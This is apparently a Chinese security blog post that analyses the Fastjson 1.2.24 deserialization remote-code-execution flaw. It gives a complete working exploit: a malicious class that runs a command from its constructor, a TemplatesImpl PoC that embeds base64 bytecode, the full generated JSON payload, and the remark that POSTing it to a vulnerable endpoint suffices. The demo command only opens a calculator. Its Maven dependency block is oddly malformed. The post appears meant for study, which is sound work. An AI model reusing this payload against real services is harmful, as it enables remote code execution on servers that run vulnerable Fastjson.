「Java反序列化漏洞」Alibaba Fastjson Vulnerbility
in Code-Audit with 0 comment

「Java反序列化漏洞」Alibaba Fastjson Vulnerbility

in Code-Audit with 0 comment

前言


从上篇Java反序列化漏洞的原理学习来看,相比php中的反序列化,Java反序列化漏洞的原理更为复杂,利用条件也较为苛刻,但在大中型企业中应用也更为广泛,一旦发现漏洞,指哪打哪。关于Fastjson反序列化漏洞原理网上已有不少分析文章,但毕竟是别人的,以自己的思路去理解写一下,映像会深刻点:)

背景


Fastjson阿里巴巴开源java编写的高性能功能完善的JSON库。应用范围较为广阔,2017年fastjson官方主动爆出fastjson1.2.24及之前版本存在远程代码执行高危安全漏洞。

认识Fastjson


Fastjson用来干什么

JSON格式字符串与JSON对象之间的转换

Fastjson特点

  1. FastJson数度快,无论序列化和反序列化,都是当之无愧的fast
  2. 功能强大(支持普通JDK类包括任意Java Bean Class、Collection、Map、Date或enum)
  3. 零依赖(没有依赖其它任何类库)

Fastjson的引入

在maven中引入Fastjson库需要的依赖如下:

    <dependency>
      <groupId>org.apache.commons.*</groupId>
      <artifactId>org.apache.commons.*</artifactId>
    </dependency>
    <dependency>
      <groupId>org.apache.commons.codec.binary.Base64</groupId>
      <artifactId>Base64</artifactId>
    </dependency>
    <dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-configuration2</artifactId>
      <version>2.1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/commons-io/commons-io -->
    <dependency>
      <groupId>commons-io</groupId>
      <artifactId>commons-io</artifactId>
      <version>2.6</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.directory.studio/org.apache.commons.codec -->
    <dependency>
      <groupId>org.apache.directory.studio</groupId>
      <artifactId>org.apache.commons.codec</artifactId>
      <version>1.8</version>
    </dependency>

Fastjson使用举例

我们使用一个类来简单理解一下Fastjson的使用,有以下一个User类:

public class User {
    public String Username;
    public String Age;
    public String getUsername() {
        return Username;
    }
    public void setUsername(String username) {
        Username = username;
    }
    public String getAge() {
        return Age;
    }
    public void setAge(String age) {
        Age = age;
    }
}

使用Fastjson库去序列化这个类,将序列化之后的数据打印出来。代码如下:

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class testFastjson {
    public static void main(String[] args){
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);
        System.out.println("HashMap serializedstr: "+mapJson);
        System.out.println("------------------------------------------------------");

        User user1 = new User();
        user1.setUsername("dr0op");
        user1.setAge("20");
        System.out.println("实例化user1对象 obj name:"+user1.getClass().getName());
        System.out.println("------------------------------------------------------");

        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("JSON.toJSONString serializedStr="+serializedStr);
        System.out.println("------------------------------------------------------");
        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("SerializerFeature serializedStr1="+serializedStr1);
        System.out.println("------------------------------------------------------");


        //通过parse方法进行反序列化
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println("use parse Deserialized obj user2 getUsername:  "+user2.getUsername());
        System.out.println("------------------------------------------------------");


        //通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("use parseObject Deserialised serializedStr1 get obj name:  "+obj.getClass().getName()+"\n");
        System.out.println("------------------------------------------------------");


        //通过这种方式返回的是一个相应的类对象
        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        System.out.println("使用parseObject Object,class参数返回的对象字符串:  "+obj1);
        System.out.println("use parseObject with Object.class Deserialized serializedStr1 get obj1 name:  "+obj1.getClass().getName());
    }
}

返回的结果:

HashMap serializedstr: {"key1":"One","key2":"Two"}
------------------------------------------------------
实例化user1对象 obj name:User
------------------------------------------------------
JSON.toJSONString serializedStr={"Age":"20","Username":"dr0op","age":"20","username":"dr0op"}
------------------------------------------------------
SerializerFeature serializedStr1={"@type":"User","Age":"20","Username":"dr0op","age":"20","username":"dr0op"}
------------------------------------------------------
use parse Deserialized obj user2 getUsername:  dr0op
------------------------------------------------------
{"Username":"dr0op","Age":"20","age":"20","username":"dr0op"}
use parseObject Deserialised serializedStr1 get obj name:  com.alibaba.fastjson.JSONObject

------------------------------------------------------
使用parseObject Object,class参数返回的对象字符串:  User@6aa8ceb6
use parseObject with Object.class Deserialized serializedStr1 get obj1 name:  User

Fastjson漏洞


Fastjson漏洞出现在上节代码所述的JSON.parseObject方法上面。当JSON.parseObject去反序列化一个含有@type特性的Json对象时,如上节中的第四个区域,就会执行该Json对象所对应类的构造方法get,set方法。我们继续使用简单的代码来理解以下:

import java.io.IOException;
public class Evil {
    public String getName() {
        System.out.println("i am getterName!");
        return name;
    }
    public void setName(String name) {
        System.out.println("i am setterName!");
        this.name = name;
    }
    public String name;
    public int getAge() {
        System.out.println("i am getterAge!");
        return age;
    }
    public void setAge(int age) {
        System.out.println("i am setterAge!");
        this.age = age;
    }
    private int age;
    public Evil() throws IOException{
        System.out.println("i am constructor!");
        Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
}

上述代码在构造方法中通过Runtime去执行计算器。
然后构造Fastjson漏洞测试类,该类去反序列化上述类实例对象的序列化数据。漏洞测试类如下:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.*;

public class App
{
    public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
        InputStream is = new FileInputStream(filePath);
        String line; // 用来保存每行读取的内容
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        line = reader.readLine(); // 读取第一行
        while (line != null) { // 如果 line 为空说明读完了
            buffer.append(line); // 将读到的内容添加到 buffer 中
            buffer.append("\n"); // 添加换行符
            line = reader.readLine(); // 读取下 一行
        }
        reader.close();
        is.close();
    }
    public static void main( String[] args ) throws IOException
    {
        StringBuffer Buffer = new StringBuffer();
        App.readToBuffer(Buffer,"/Users/drop/IdeaProjects/mavenTest/src/main/java/demo.json");
        System.out.println(Buffer.toString());
        Object obj = JSON.parseObject(Buffer.toString(), Object.class,Feature.SupportNonPublicField);
    }
}

demo.json内容如下:

{
  "@type": "Evil",
  "name": "dr0op",
  "age": "20"
}

当执行上述漏洞测试代码时,会弹出计算器。也就是上节中所说的当parseObject方法去反序列化时执行了@type所指定类的构造方法。
fastjson1.jpg

Fastjson漏洞利用


不幸的是,上节执行的Evil类在目标服务器中并不会存在,或者我们很难找到一个在构造方法或者getter,setter方法中存在命令执行并且变量可控的类。而另一种方法就是将编译好的.class或者.jar文件转换成byte[],然后通过defineClass加载byte[]返回class对象。
安全研究人员发现了这个类:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类通过一系列的调用链将.class文件存入byte[],然后底层利用类似反射机制加载类对象去调用,详细的分析在后面再讲,我们先来看看官方的POC:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

在这个类中的构造方法中执行了计算器,编译此类test.java得到一个test.class文件。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = "/Users/drop/IdeaProjects/mavenTest/target/classes/test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        //assertEquals(Model.class, obj.getClass());

    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

上面代码中的class文件是在本机idea环境项目下找到的。可以替换为你的文件地址。
fastjson2.jpg

在这个POC中,最核心的部份是_bytecodes,其中是要被执行的代码即Test.class文件二进制格式的base64@type是指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。这个类通过调用链去加载_bytecodes中对象的二进制去实例化Test类。
由于在默认情况下,Fastjson只会序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中的_bytecodes是私有属性。_name也是私有域。所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。而_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,需要设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象,这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。

调用链


TemplatesImpl的调用连中几个关键函数如下:

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);
    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }
    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}
private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
            if (_class == null) defineTransletClasses();
            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }
            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
private void defineTransletClasses()
        throws TransformerConfigurationException {
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });
        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();
                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

getTransletInstance调用defineTransletClasses,在defineTransletClasses方法中会根据_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance方法用到生成一个实例,也也就到了最终的执行命令的位置Runtime.getRuntime.exec()
师傅博客上的调用图如下:
fastjson4.png
调试中的执行链如下:

fastjson3.jpg

执行poc后生成的数据如下:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAIAAkHAC8MADAAMQEANi9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAMgAzAQAEdGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAKAAQACwANAAwADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAEACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAQAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIAAAABABcAGAADAAEAEQAZAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAUAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGgAbAAIADwAAAAQAAQAcAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAABcACAAYAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAk"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

将该poc生成的数据拷贝至当前文件夹,命名为poc.json将前文中App类中的demo.json修改为poc.json即上面的数据,然乎运行会发现弹出计算器。在Web应用中只需将上述数据POST进行传输到相应漏洞个接口即可。

fastjson5.jpg

REFERENCE


[1] http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
[2] https://www.cnblogs.com/mrchang/p/6789060.html
[3] https://blog.csdn.net/yaofeino1/article/details/76377080
[4] https://blog.csdn.net/m0_38043244/article/details/72842728
[5] http://www.freebuf.com/vuls/178012.html

Responses